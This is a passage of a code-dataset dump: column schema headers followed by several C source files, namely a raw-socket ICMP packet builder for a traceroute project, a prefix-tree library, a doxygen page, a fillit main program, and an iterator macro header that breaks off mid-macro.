blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
357
content_id
stringlengths
40
40
detected_licenses
listlengths
0
58
license_type
stringclasses
2 values
repo_name
stringlengths
4
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringlengths
4
58
visit_date
timestamp[ns]date
2015-07-14 21:31:45
2023-09-06 10:45:08
revision_date
timestamp[ns]date
1970-01-01 00:00:00
2023-09-05 23:26:37
committer_date
timestamp[ns]date
1970-01-01 00:00:00
2023-09-05 23:26:37
github_id
int64
966
689M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
24 values
gha_event_created_at
timestamp[ns]date
2012-06-07 00:51:45
2023-09-14 21:58:52
gha_created_at
timestamp[ns]date
2008-02-03 21:17:16
2023-08-24 19:49:39
gha_language
stringclasses
180 values
src_encoding
stringclasses
35 values
language
stringclasses
1 value
is_vendor
bool
1 class
is_generated
bool
2 classes
length_bytes
int64
6
10.4M
extension
stringclasses
121 values
filename
stringlengths
1
148
content
stringlengths
6
10.4M
d685bb98a8204e596270f4dc2d3e7934ff52aa85
6b0cd6a403bbb24bacded69030445e9e4052e536
/src/ping.c
4ce1db477a04d0d28ca498170047650cc8557daa
[]
no_license
pribault/ft_traceroute
081febecd6b472afef8886e99e2608cd0b15b280
7ea3e89c1a0181eeb8dc3765f75552ac49e82913
refs/heads/master
2020-03-19T16:09:13.099474
2018-06-16T11:33:04
2018-06-16T11:33:04
136,702,918
0
0
null
null
null
null
UTF-8
C
false
false
2,583
c
ping.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ping.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: pribault <pribault@student.42.fr> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2018/05/30 21:04:29 by pribault #+# #+# */ /* Updated: 2018/06/15 22:22:06 by pribault ### ########.fr */ /* */ /* ************************************************************************** */ #include "ft_traceroute.h" void fill_ip_header(t_client *client, struct iphdr *iphdr) { iphdr->ihl = 5; iphdr->version = 4; iphdr->tos = 0; iphdr->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr) + g_e.packet_size; iphdr->id = 0; iphdr->frag_off = 0; iphdr->ttl = g_e.sequence / g_e.probes + 1; iphdr->protocol = IPV4_PROTOCOL_ICMP; ft_memcpy(&iphdr->saddr, &g_e.source, 4); ft_memcpy(&iphdr->daddr, &((struct sockaddr_in *)&client->addr.addr)->sin_addr, 4); endian_iphdr(iphdr); iphdr->check = compute_sum(iphdr, sizeof(struct iphdr)); } void fill_icmp_header(struct icmphdr *icmphdr) { icmphdr->type = ICMP_ECHO; icmphdr->un.echo.id = getpid(); icmphdr->un.echo.sequence = g_e.sequence; icmphdr->checksum = compute_sum(icmphdr, (sizeof(struct icmphdr) + g_e.packet_size)); icmphdr->checksum = (icmphdr->checksum << 8) | (icmphdr->checksum >> 8); } void fill_queue(void *queue, size_t size, struct timeval *now) { size_t i; uint8_t c; c = 0x20; if (size >= sizeof(struct timeval)) { i = sizeof(struct timeval); ft_memcpy(queue, now, sizeof(struct timeval)); } else i = 0; while (i < size) *(uint8_t *)(queue + i++) = c++; } void send_ping_request(t_client *client) { struct timeval timestamp; t_msg msg; msg.size = sizeof(struct iphdr) + sizeof(struct icmphdr) + g_e.packet_size; if (!(msg.ptr = malloc(msg.size))) return (ft_error(2, ERROR_ALLOCATION_2, NULL)); ft_bzero(msg.ptr, msg.size); fill_ip_header(client, msg.ptr); fill_queue(msg.ptr + sizeof(struct iphdr) + sizeof(struct icmphdr), g_e.packet_size, &timestamp); fill_icmp_header(msg.ptr + sizeof(struct iphdr)); socket_enqueue_write(g_e.socket, client, &msg); }
dd8d9ae5a6a830505db94d5cea39b046779c9f35
7c9dab5a5706328c8c4144e1462a8c966f188110
/Trie/prefix_tree.c
8bb96aaf995f7310cb470d99cd9016d3a6be653a
[]
no_license
forsaken1/data-structures
6430a1f4e65c6cf035116864cbac363bc9b142ad
10a930d9e64ac9cc560caf7193a5b96e66e4ca55
refs/heads/master
2016-09-05T19:36:06.857204
2012-04-21T14:33:15
2012-04-21T14:33:15
null
0
0
null
null
null
null
WINDOWS-1251
C
false
false
13,926
c
prefix_tree.c
#include "prefix_tree.h" #include <string.h> #define KEY_SIZE 100 #define LINK_LIMIT 10 #define MAX_CHAR_COUNT 256 typedef enum { ITERATOR_DEREFERENCABLE, ITERATOR_BEFORE_FIRST, ITERATOR_PAST_REAR, } IteratorTypeT; typedef struct Node { struct Node *parentNode; struct Node *link[LINK_LIMIT]; char key; LSQ_BaseTypeT value; } NodeT, *NodePtrT; typedef struct { int size; NodePtrT root; } TreeT, *TreePtrT; typedef struct { IteratorTypeT type; NodePtrT node; TreePtrT tree; } IteratorT, *IteratorPtrT; static IteratorPtrT CreateIterator(const LSQ_HandleT handle, const NodePtrT node, const IteratorTypeT type); static int IsHaveChild(const NodePtrT node); static void DeleteSubtree(const NodePtrT node); static void DeleteNode(NodePtrT node); static NodePtrT GetNodeByKey(const NodePtrT node, const LSQ_KeyT key); static NodePtrT CreateNode(const char key, const LSQ_BaseTypeT value, const NodePtrT parent); static NodePtrT GetChildNodeWithIdenticalKey(const NodePtrT node, const char key); static NodePtrT GoToMinimalNode(const NodePtrT node); static NodePtrT GoToMaximalNode(const NodePtrT node); static NodePtrT GetRightNeighbour(const NodePtrT node); static NodePtrT GetLeftNeighbour(const NodePtrT node); /* Функция, создающая и возвращающая итератор */ static IteratorPtrT CreateIterator(const LSQ_HandleT handle, const NodePtrT node, const IteratorTypeT type){ IteratorPtrT iterator = (IteratorPtrT)malloc(sizeof(IteratorT)); if(iterator == NULL) return NULL; iterator->tree = (TreePtrT)handle; iterator->node = node; iterator->type = type; return iterator; } /* Функция, ищущая узел по ключу и возвращающая его указатель */ static NodePtrT GetNodeByKey(const NodePtrT node, const LSQ_KeyT key) { NodePtrT iterator = node, n = NULL; int i, size = strlen(key); for(i = 0; i < size; i++) { n = GetChildNodebYKey(iterator, key[i]); if(n == NULL) return NULL; else iterator = n; } return iterator; } /* Функция, создающая узел. Возвращает указатель на него */ static NodePtrT CreateNode(const char key, const LSQ_BaseTypeT value, const NodePtrT parentNode){ NodePtrT node = (NodePtrT)malloc(sizeof(NodeT)); int i; if(node == NULL) return NULL; node->value = value; node->key = key; node->parentNode = parentNode; for(i = 0; i < LINK_LIMIT; i++) node->link[i] = NULL; return node; } /* Функция, удаляющая данный узел вместе с его потомками */ static void DeleteSubtree(const NodePtrT node){ int i; if(node == NULL) return; for(i = 0; i < LINK_LIMIT; i++) if(node->link[i] != NULL) DeleteSubtree(node->link[i]); free(node); } /* Функция, проверяющая, есть ли у данного узла потомки */ static int IsHaveChild(const NodePtrT node) { int result = 0; for(int i = 0; i < LINK_LIMIT && !result; i++) result |= (node->link[i] != NULL); return result; } /* Функция, пробегающая до листа с приоритетом на минимальный ключ. Возвращает узел с лексикографически малым ключом */ static NodePtrT GoToMinimalNode(const NodePtrT node) { int i, index = -1; char minimalKey = 'z'; for(i = 0; i < LINK_LIMIT; i++) { if(node->link[i] != NULL && node->link[i]->key < minimalKey) { index = i; minimalKey = node->link[i]->key; } } if(index != -1) return GoToMinimalNode(node->link[index]); else return node; } /* Функция, пробегающая до листа с приоритетом на максимальный ключ. Возвращает узел с лексикографически большим ключом */ static NodePtrT GoToMaximalNode(const NodePtrT node) { int i, index = -1; char maximalKey = '/'; for(i = 0; i < LINK_LIMIT; i++) { if(node->link[i] != NULL && node->link[i]->key > maximalKey) { index = i; maximalKey = node->link[i]->key; } } if(index != -1) return GoToMaximalNode(node->link[index]); else return node; } /* Функция, возвращающая правого соседа данного узла. Если соседа нет, то возвращает NULL */ static NodePtrT GetRightNeighbour(const NodePtrT node) { NodePtrT rightNode = NULL, parent = node->parentNode; char key = node->key; int i, differenceKeyCount, minimalDifference = MAX_CHAR_COUNT; for(i = 0; i < LINK_LIMIT; i++) { if(parent->link[i] != NULL && key < parent->link[i]->key) { differenceKeyCount = parent->link[i]->key - key; if(differenceKeyCount < minimalDifference) { minimalDifference = differenceKeyCount; rightNode = parent->link[i]; } } } if(minimalDifference != MAX_CHAR_COUNT) return GoToMinimalNode(rightNode); else return NULL; } /* Функция, возвращающая правого соседа данного узла. Если соседа нет, то возвращает NULL */ static NodePtrT GetLeftNeighbour(const NodePtrT node) { NodePtrT leftNode = NULL, parent = node->parentNode; char key = node->key; int i, differenceKeyCount, minimalDifference = MAX_CHAR_COUNT; for(i = 0; i < LINK_LIMIT; i++) { if(parent->link[i] != NULL && key > parent->link[i]->key) { differenceKeyCount = key - parent->link[i]->key; if(differenceKeyCount < minimalDifference) { minimalDifference = differenceKeyCount; leftNode = parent->link[i]; } } } if(minimalDifference != MAX_CHAR_COUNT) return GoToMaximalNode(leftNode); else return NULL; } /* Функция, удалающая узел, а также удаляющая родительские элементы без значения */ static void DeleteNode(NodePtrT node) { NodePtrT parent = node->parentNode; int i, index; if(parent == NULL) return; for(i = 0; i < LINK_LIMIT; i++) if(parent->link[i] != NULL && parent->link[i]->key == node->key) index = i; parent->link[index] = NULL; free(node); node = NULL; if(!IsHaveChild(parent) && parent->value == NULL) DeleteNode(parent); } /* Функция, возвращающая потомка данного узла с данным ключом. Если такового нет, то возвращает NULL */ static NodePtrT GetChildNodeWithIdenticalKey(const NodePtrT node, const char key) { int i; if(node == NULL) return NULL; for(i = 0; i < LINK_LIMIT; i++) { if(node->link[i] != NULL && node->link[i]->key == key) return node->link[i]; } return NULL; } extern LSQ_HandleT LSQ_CreateSequence(void) { TreePtrT tree = (TreePtrT)malloc(sizeof(TreeT)); if(tree == NULL) return LSQ_HandleInvalid; tree->root = NULL; tree->size = 0; return tree; } extern void LSQ_DestroySequence(LSQ_HandleT handle) { if(handle == LSQ_HandleInvalid) return; DeleteSubtree(((TreePtrT)handle)->root); free(handle); } extern LSQ_IntegerIndexT LSQ_GetSize(LSQ_HandleT handle) { if(handle == LSQ_HandleInvalid) return 0; return ((TreePtrT)handle)->size; } extern int LSQ_IsIteratorDereferencable(LSQ_IteratorT iterator) { if(iterator == NULL) return 0; return ((IteratorPtrT)iterator)->type == ITERATOR_DEREFERENCABLE; } extern int LSQ_IsIteratorPastRear(LSQ_IteratorT iterator) { if(iterator == NULL) return 0; return ((IteratorPtrT)iterator)->type == ITERATOR_PAST_REAR; } extern int LSQ_IsIteratorBeforeFirst(LSQ_IteratorT iterator) { if(iterator == NULL) return 0; return ((IteratorPtrT)iterator)->type == ITERATOR_BEFORE_FIRST; } extern LSQ_BaseTypeT LSQ_DereferenceIterator(LSQ_IteratorT iterator) { if(iterator == NULL || ((IteratorPtrT)iterator)->node == NULL) return 0; return ((IteratorPtrT)iterator)->node->value; } extern char* LSQ_GetIteratorKey(LSQ_IteratorT iterator) { NodePtrT node = NULL; char *key, *revKey; int i = 0, len; key = calloc(KEY_SIZE, sizeof(char)); revKey = calloc(KEY_SIZE, sizeof(char)); for(i = 0; i < KEY_SIZE; i++) { key[i] = NULL; revKey[i] = NULL; } node = ((IteratorPtrT)iterator)->node; if(node == NULL) return NULL; if(iterator == NULL || ((IteratorPtrT)iterator)->node == NULL) return 0; for(i = 0; i < KEY_SIZE; i++) if(node->parentNode != NULL) { key[i] = node->key; node = node->parentNode; } len = strlen(key); for(i = 0; i < len; i++) revKey[i] = key[len - i - 1]; free(key); return revKey; } extern LSQ_IteratorT LSQ_GetElementByIndex(LSQ_HandleT handle, LSQ_KeyT key) { NodePtrT node = GetNodeByKey(((TreePtrT)handle)->root, key); if(handle == LSQ_HandleInvalid) return NULL; if(node == NULL) return LSQ_GetPastRearElement(handle); return CreateIterator(handle, node, ITERATOR_DEREFERENCABLE); } extern LSQ_IteratorT LSQ_GetFrontElement(LSQ_HandleT handle) { IteratorPtrT iterator = NULL; if(handle == LSQ_HandleInvalid) return NULL; iterator = CreateIterator(handle, NULL, ITERATOR_BEFORE_FIRST); if(iterator == NULL) return NULL; LSQ_AdvanceOneElement(iterator); return iterator; } extern LSQ_IteratorT LSQ_GetPastRearElement(LSQ_HandleT handle) { if(handle == LSQ_HandleInvalid) return NULL; return CreateIterator(handle, NULL, ITERATOR_PAST_REAR); } extern void LSQ_DestroyIterator(LSQ_IteratorT iterator) { free(iterator); } extern void LSQ_AdvanceOneElement(LSQ_IteratorT iterator) { IteratorPtrT iter = (IteratorPtrT)iterator; NodePtrT node = iter->node; NodePtrT rightNeighbour = NULL; if(iter == NULL || iter->type == ITERATOR_PAST_REAR) return; if(iter->type == ITERATOR_BEFORE_FIRST) { if(iter->tree->root == NULL) iter->type = ITERATOR_PAST_REAR; else { iter->node = GoToMinimalNode(iter->tree->root); iter->type = ITERATOR_DEREFERENCABLE; } return; } while(node->parentNode != NULL && (rightNeighbour = GetRightNeighbour(node)) == NULL) { node = node->parentNode; } if(rightNeighbour != NULL) { iter->node = rightNeighbour; } else { iter->type = ITERATOR_PAST_REAR; iter->node = NULL; } } extern void LSQ_RewindOneElement(LSQ_IteratorT iterator) { IteratorPtrT iter = (IteratorPtrT)iterator; NodePtrT node = iter->node; NodePtrT leftNeighbour = NULL; if(iter == NULL || iter->type == ITERATOR_BEFORE_FIRST) return; if(iter->type == ITERATOR_PAST_REAR) { if(iter->tree->root == NULL) iter->type = ITERATOR_BEFORE_FIRST; else { iter->node = GoToMaximalNode(iter->tree->root); iter->type = ITERATOR_DEREFERENCABLE; } return; } while(node->parentNode != NULL && (leftNeighbour = GetLeftNeighbour(node)) == NULL) { node = node->parentNode; } if(leftNeighbour != NULL) { iter->node = leftNeighbour; } else { iter->type = ITERATOR_BEFORE_FIRST; iter->node = NULL; } } extern void LSQ_ShiftPosition(LSQ_IteratorT iterator, LSQ_IntegerIndexT shift) { if(iterator == NULL) return; for(; shift > 0; LSQ_AdvanceOneElement(iterator)) shift--; for(; shift < 0; LSQ_RewindOneElement(iterator)) shift++; } extern void LSQ_SetPosition(LSQ_IteratorT iterator, LSQ_IntegerIndexT pos) { if(iterator == NULL) return; ((IteratorPtrT)iterator)->type = ITERATOR_BEFORE_FIRST; LSQ_ShiftPosition(iterator, pos + 1); } extern void LSQ_InsertElement(LSQ_HandleT handle, LSQ_KeyT key, LSQ_BaseTypeT value) { TreePtrT trie = (TreePtrT)handle; NodePtrT n = NULL, node = trie->root; int i, j, size = strlen(key); if(handle == LSQ_HandleInvalid) return; if(node == NULL) { node = CreateNode("", NULL, NULL); trie->root = node; } for(i = 0; i < size; i++) { n = GetChildNodeWithIdenticalKey(node, key[i]); if(n == NULL) { for(j = 0; j < LINK_LIMIT; j++) if(node->link[j] == NULL) { node->link[j] = CreateNode(key[i], NULL, node); node = node->link[j]; break; } } else node = n; } node->value = value; trie->size++; } extern void LSQ_DeleteFrontElement(LSQ_HandleT handle) { IteratorPtrT iterator = NULL; char *key = NULL; if(handle == LSQ_HandleInvalid) return; iterator = LSQ_GetFrontElement(handle); if(iterator == NULL) return; key = LSQ_GetIteratorKey(iterator); LSQ_DeleteElement(handle, key); LSQ_DestroyIterator(iterator); free(key); } extern void LSQ_DeleteRearElement(LSQ_HandleT handle) { IteratorPtrT iterator = NULL; char *key = NULL; if(handle == LSQ_HandleInvalid) return; iterator = LSQ_GetPastRearElement(handle); if(iterator == NULL) return; LSQ_RewindOneElement(iterator); key = LSQ_GetIteratorKey(iterator); LSQ_DeleteElement(handle, key); LSQ_DestroyIterator(iterator); free(key); } extern void LSQ_DeleteElement(LSQ_HandleT handle, LSQ_KeyT key) { TreePtrT trie = NULL; NodePtrT node = NULL; if(handle == LSQ_HandleInvalid) return; trie = (TreePtrT)handle; node = GetNodeByKey(trie->root, key); if(node == NULL) return; if(!IsHaveChild(node)) DeleteNode(node); else node->value = NULL; trie->size--; }
8c6712f8f4a79ced61d6d1cce0672c37fcdf38a5
67cf5d1d7ea62ca9e7b35c42c042efcf1c77ff36
/CurveShoulderFinder/doc/doxygenMain.h
93881685feb5f4cf84c60e38871034d0aae9bb3c
[]
no_license
bpass/cegis
d3c84d2d29a084105b4c207391ddc6ace0cdf398
6c849e41974b8ff844f78e260de26d644c956afb
refs/heads/master
2020-04-03T18:57:58.102939
2013-04-24T22:07:54
2013-04-24T22:07:54
null
0
0
null
null
null
null
UTF-8
C
false
false
1,077
h
doxygenMain.h
// $Id: doxygenMain.h,v 1.1 2005/10/19 22:09:10 ahartman Exp $ /** * @mainpage CurveShoulderFinder * * @section intro Introduction * This project was created to analyze the output of the USDA's Agricultural * Nonpoint Source Pollution (AGNPS) model using different input resolutions * in order to determine the point where the model stops improving as input * resolution increases. In order to do this, the model's output will be * compared to ground-truth data at various georeferenced points. * * The main part of this project is a templated math library that creates * curves to fit points on an accuracy vs. resolution graph. These curves * will then be analyzed to determine the "best" resolution as described * above. The library currently contains implementations to find three * different types of curves: polynomial, cubic splines, and logistic. * There are also many other files which contain code used to implement * finding these curves. * * @ref installation Instructions for how to build everything on both * Windows and Linux. */
9b23377117f4434b930a0d2d58906b1fc0ad52e4
6ce0066104ac5aa74529075f961d8825fb7c10e2
/main.c
4e72f7d07dffbaa9d5b62eb492db1b6b83fbdf23
[]
no_license
micktdj/Fillit
b9b7bb7470a72423543d3764c365dfb3d49119a2
93268fb3e0a2164db41fe0f0a845e5ca523fb878
refs/heads/master
2020-04-29T19:39:10.918328
2019-03-18T20:19:21
2019-03-18T20:19:21
176,362,134
0
0
null
null
null
null
UTF-8
C
false
false
1,684
c
main.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* maintest.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: mtordjma <marvin@42.fr> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2019/01/14 18:50:11 by mtordjma #+# #+# */ /* Updated: 2019/01/25 11:23:42 by mtordjma ### ########.fr */ /* */ /* ************************************************************************** */ #include "fillit.h" static int ft_validfile(int argc, char **argv) { int fd2; if (argc != 2) { ft_putstr_fd("Usage : ./fillit file\n", 2); return (-2); } fd2 = open(argv[1], O_RDONLY); if ((ft_checkchar(fd2)) < 0) { close(fd2); return (ERROR); } close(fd2); return (0); } int main(int argc, char **argv) { int fd; int e; t_flist *p_list; t_block *block; p_list = NULL; if ((e = ft_validfile(argc, argv)) < 0) return (e == -1 ? ft_printerror(ERROR) : -2); fd = open(argv[1], O_RDONLY); if ((ft_stock(fd, &p_list)) < 0) { ft_listdel(&p_list); close(fd); return (ft_printerror(ERROR)); } block = p_list->p_head; ft_patern_creation(&p_list); e = ft_backtrack(&p_list); close(fd); ft_listdel(&p_list); return (e < 0 ? ft_printerror(ERROR) : 0); }
b5616aae49203c2014653e396f8e7b2110b13d67
43bc1f668ee0a150c5844ea3376b749a16d10da5
/include/iterator.h
2a27b73f95317ac32fa6c5f030c0956d5fa7e641
[ "Apache-2.0" ]
permissive
lhb8125/UNAT
3872d5207af99e305c9c0252278f53db48c2d1b5
f17eb20fca20c27a97d379fe413be6ed6e1f00f5
refs/heads/master
2020-09-23T11:42:33.300914
2019-12-03T02:15:23
2019-12-03T02:15:23
158,313,578
1
1
null
null
null
null
UTF-8
C
false
false
12,731
h
iterator.h
#ifndef ITERATOR_H #define ITERATOR_H #include "swMacro.h" #include <stdlib.h> #ifdef __cplusplus extern "C"{ #endif //macros to define core function pointer // use as: // define_e2v_hostFunPtr( spMV ) // { // Here do the core computing; // Parameters is similiar as edge2VertexIteration. // } #define define_e2v_FunPtr( funname ) \ void funname (Arrays* backEdgeData, Arrays* frontEdgeData, \ Arrays* selfConnData, Arrays* vertexData, Arrays* paraData, \ swInt* startVertices, swInt* endVertices, FieldData *data) #define define_e2v_slaveFunPtr( funname ) \ void slave_##funname (Arrays* backEdgeData, Arrays* frontEdgeData, \ Arrays* selfConnData, Arrays* vertexData, Arrays *paraData, \ swInt* startVertices, swInt* endVertices, FieldData *data) #define define_array_FunPtr( funname ) \ void funname (Arrays* backEdgeData, Arrays* frontEdgeData, \ Arrays* selfConnData, Arrays* vertexData, Arrays* paraData, \ FieldData *data) #define define_array_slaveFunPtr( funname ) \ void slave_##funname (Arrays* backEdgeData, Arrays* frontEdgeData, \ Arrays* selfConnData, Arrays* vertexData, Arrays *paraData, \ FieldData *data) #define define_v2e_hostFunPtr( funname ) \ void funname (Arrays* neighbourData, Arrays* vertexData, \ swInt* accuEdgeNumbers, swInt* neighbourVetices) #define define_v2e_slaveFunPtr( funname ) \ void funname (Arrays* neighbourData, Arrays* vertexData, \ swInt* accuEdgeNumbers, swInt* neighbourVetices) // the indicator to determine data copy action #define COPYIN 0 #define COPYOUT 1 #define COPYINOUT 2 #define UPDATED 3 // parameter struct for interation typedef struct { // float data array holder swFloat** floatArrays; // integer data array holder swInt** intArrays; // float data array dimensions swInt* fArrayDims; // integer data array dimensions swInt* iArrayDims; // float data array action swInt* fArrayInOut; // integer data array action swInt* iArrayInOut; // float data array number swInt fArrayNum; // integer data array number swInt iArrayNum; // float data array sizes swInt fArraySizes; // integer data array sizes swInt iArraySizes; } Arrays; typedef struct { Arrays *backEdgeData; Arrays *frontEdgeData; Arrays *selfConnData; Arrays *vertexData; } FieldData; //function pointer typedef void (* e2v_hostFunPtr)(Arrays* backEdgeData, Arrays* frontEdgeData, Arrays* selfConnData, Arrays* vertexData, Arrays* paraData, swInt* startVertices, swInt* endVertices, FieldData *data); typedef void (* e2v_slaveFunPtr)(Arrays* backEdgeData,Arrays* frontEdgeData, Arrays* selfConnData, Arrays* vertexData, Arrays* paraData, swInt* startVertices, swInt* endVertices, FieldData *data); typedef void (* array_hostFunPtr)(Arrays* backEdgeData, Arrays* frontEdgeData, Arrays* selfConnData,Arrays* vertexData, Arrays* paraData, FieldData *data); typedef void (* array_slaveFunPtr)(Arrays* backEdgeData, Arrays* frontEdgeData, Arrays* selfConnData,Arrays* vertexData, Arrays* paraData, FieldData *data); typedef void (* v2e_hostFunPtr) (Arrays* neighbourData, Arrays* vertexData, swInt* accuEdgeNumbers, swInt* neighbourVetices); typedef void (* v2e_slaveFunPtr) (Arrays* neighbourData, Arrays* vertexData, swInt* accuEdgeNumbers, swInt* neighbourVetices); // function pointer binded with arrays typedef struct { e2v_hostFunPtr fun_host; e2v_slaveFunPtr fun_slave; FieldData *data; FieldData *data_p; } coupledOperator; typedef struct { array_hostFunPtr fun_host; array_slaveFunPtr fun_slave; FieldData *data; } coupledArrayOperator; /*************** Macro to construct empty arrays ***************/ #define constructEmptyArray( arrays ) \ { \ (arrays).iArraySizes = 0; \ (arrays).iArrayNum = 0; \ (arrays).iArrayInOut = NULL; \ (arrays).iArrayDims = NULL; \ (arrays).intArrays = NULL;\ \ \ (arrays).fArraySizes = 0; \ (arrays).fArrayNum = 0; \ (arrays).fArrayInOut = NULL; \ (arrays).fArrayDims = NULL; \ (arrays).floatArrays = NULL;\ } // Construct Arrays from source arrays but different size #define constructFromArrays(srcArrays,dstArrays, size) \ {\ int i; \ (dstArrays)->fArraySizes = (srcArrays)->fArraySizes; \ (dstArrays)->fArrayNum = (srcArrays)->fArrayNum; \ (dstArrays)->fArrayInOut = NEW(swInt, (dstArrays->fArrayNum)); \ (dstArrays)->fArrayDims = NEW(swInt, (dstArrays->fArrayNum)); \ (dstArrays)->floatArrays = NEW(swFloat*, (dstArrays->fArrayNum)); \ for(i=0;i<(dstArrays)->fArrayNum;i++) \ { \ (dstArrays)->fArrayInOut[i] = (srcArrays)->fArrayInOut[i]; \ (dstArrays)->fArrayDims[i] = (srcArrays)->fArrayDims[i]; \ (dstArrays)->floatArrays[i] \ = NEW(swFloat,(dstArrays)->fArraySizes*dstArrays->fArrayDims[i]); \ } \ \ \ (dstArrays)->iArraySizes = (srcArrays)->iArraySizes; \ (dstArrays)->iArrayNum = (srcArrays)->iArrayNum; \ (dstArrays)->iArrayInOut = NEW(swInt, (dstArrays->iArrayNum)); \ (dstArrays)->iArrayDims = NEW(swInt, (dstArrays->iArrayNum)); \ (dstArrays)->intArrays = NEW(swInt*, (dstArrays->iArrayNum)); \ for(i=0;i<(dstArrays)->iArrayNum;i++) \ { \ (dstArrays)->iArrayInOut[i] = (srcArrays)->iArrayInOut[i]; \ (dstArrays)->iArrayDims[i] = (srcArrays)->iArrayDims[i]; \ (dstArrays)->intArrays[i] \ = NEW(swInt,(dstArrays)->iArraySizes*dstArrays->iArrayDims[i]); \ } \ } // release the memory space using delete #define deleteArrays(Arrays) \ { \ int i; \ for(i=0;i<(Arrays)->fArrayNum;i++) \ { \ delete((Arrays)->floatArrays[i]); \ } \ delete((Arrays)->fArrayInOut); \ delete((Arrays)->fArrayDims); \ delete((Arrays)->floatArrays); \ \ for(i=0;i<(Arrays)->iArrayNum;i++) \ { \ delete((Arrays)->intArrays[i]); \ } \ delete((Arrays)->iArrayInOut); \ delete((Arrays)->iArrayDims); \ delete((Arrays)->intArrays); \ } /****************** Macros handle float arrays ******************/ // address copy #define constructSingleArray( arrays, dim, size, io, pointer) \ { \ (arrays).iArraySizes = 0; \ (arrays).iArrayNum = 0; \ (arrays).iArrayInOut = NULL; \ (arrays).iArrayDims = NULL; \ (arrays).intArrays = NULL;\ \ \ (arrays).fArraySizes = size; \ (arrays).fArrayNum = 1; \ \ (arrays).fArrayInOut = NEW(swInt, 1); \ *((arrays).fArrayInOut) = io; \ \ (arrays).fArrayDims = NEW(swInt, 1); \ *((arrays).fArrayDims) = dim; \ \ (arrays).floatArrays = NEW(swFloat*, 1);\ *(arrays).floatArrays = pointer; \ } // address copy: arrays to arrays #define constructSingleArrays( arrays, srcArrays) \ { \ (arrays)->iArraySizes = 0; \ (arrays)->iArrayNum = 0; \ (arrays)->iArrayInOut = NULL; \ (arrays)->iArrayDims = NULL; \ (arrays)->intArrays = NULL;\ \ \ (arrays)->fArraySizes = (srcArrays)->fArraySizes; \ (arrays)->fArrayNum = (srcArrays)->fArrayNum; \ \ (arrays)->fArrayInOut = (srcArrays)->fArrayInOut; \ \ (arrays)->fArrayDims = (srcArrays)->fArrayDims; \ \ (arrays)->floatArrays = NEW(swFloat*, (arrays)->fArrayNum);\ int iArray; \ for(iArray=0;iArray<(arrays)->fArrayNum;iArray++) \ { \ (arrays)->floatArrays[iArray] = (srcArrays)->floatArrays[iArray]; \ } \ } // address copy #define addSingleArray( arrays, dim, size, io, pointer) \ { \ if( (arrays).fArraySizes != size) \ { \ dumpError("can not add array with different length!\n"); \ exit(-1); \ } \ \ (arrays).fArrayNum++; \ swInt fArrayNum = (arrays).fArrayNum; \ \ RESIZE(swInt, (arrays).fArrayInOut, fArrayNum-1, fArrayNum); \ ((arrays).fArrayInOut)[fArrayNum-1] = io; \ \ RESIZE(swInt, (arrays).fArrayDims, fArrayNum-1, fArrayNum); \ ((arrays).fArrayDims)[fArrayNum-1] = dim; \ \ RESIZE(swFloat*, (arrays).floatArrays, fArrayNum-1, fArrayNum);\ (arrays).floatArrays[fArrayNum-1] = pointer;\ } // deep copy #define copySingleArray( arrays, dim, size, io, pointer) \ { \ if( (arrays).fArraySizes != (size) ); \ { \ dumpError("can not add array with different length!\n"); \ exit(-1); \ } \ \ (arrays).fArrayNum++; \ \ RESIZE(swInt, (arrays).fArrayInOut, fArrayNum-1, fArrayNum); \ ((arrays).fArrayInOut)[fArrayNum-1] = io; \ \ RESIZE(swInt, (arrays).fArrayDims, fArrayNum-1, fArrayNum); \ ((arrays).fArrayDims)[fArrayNum-1] = dim; \ \ RESIZE(swFloat*, (arrays).floatArrays, fArrayNum-1, fArrayNum);\ (arrays).floatArrays[fArrayNum-1] = NEW( swFloat; size); \ memcpy( (arrays).floatArrays[fArrayNum-1], pointer, \ sizeof(swFloat)*(size) ); \ } // add blank array #define addBlankArray( arrays, dim, size, io) \ { \ if( (arrays).fArraySizes != (size) ); \ { \ dumpError("can not add array with different length!\n"); \ exit(-1); \ } \ \ (arrays).fArrayNum++; \ \ RESIZE(swInt, (arrays).fArrayInOut, fArrayNum-1, fArrayNum); \ ((arrays).fArrayInOut)[fArrayNum-1] = io; \ \ RESIZE(swInt, (arrays).fArrayDims, fArrayNum-1, fArrayNum); \ ((arrays).fArrayDims)[fArrayNum-1] = dim; \ \ RESIZE(swFloat*, (arrays).floatArrays, fArrayNum-1, fArrayNum);\ (arrays).floatArrays[fArrayNum-1] = NEW( swFloat; size); \ } /****************** Macros handle int arrays ******************/ // address copy #define constructSingleIArray( arrays, dim, size, io, pointer) \ { \ (arrays).fArraySizes = 0; \ (arrays).fArrayNum = 0; \ (arrays).fArrayInOut = NULL; \ (arrays).fArrayDims = NULL; \ (arrays).floatArrays = NULL;\ \ \ (arrays).iArraySizes = size; \ (arrays).iArrayNum = 1; \ \ (arrays).iArrayInOut = NEW(swInt, 1); \ *((arrays).iArrayInOut) = io; \ \ (arrays).iArrayDims = NEW(swInt, 1); \ *((arrays).iArrayDims) = dim; \ \ (arrays).intArrays = NEW(swInt*, 1);\ *(arrays).intArrays = pointer;\ } // address copy #define addSingleIArray( arrays, dim, size, io, pointer) \ { \ if( (arrays).iArraySizes != size); \ { \ dumpError("can not add array with different length!\n"); \ exit(-1); \ } \ \ (arrays).iArrayNum++; \ \ RESIZE(swInt, (arrays).iArrayInOut, iArrayNum-1, iArrayNum); \ ((arrays).iArrayInOut)[iArrayNum-1] = io; \ \ RESIZE(swInt, (arrays).iArrayDims, iArrayNum-1, iArrayNum); \ ((arrays).iArrayDims)[iArrayNum-1] = dim; \ \ RESIZE(swInt*, (arrays).intArrays, iArrayNum-1, iArrayNum);\ (arrays).intArrays[iArrayNum-1] = pointer;\ } // deep copy #define copySingleIArray( arrays, dim, size, io, pointer) \ { \ if( (arrays).iArraySizes != (size) ); \ { \ dumpError("can not add array with different length!\n"); \ exit(-1); \ } \ \ (arrays).iArrayNum++; \ \ RESIZE(swInt, 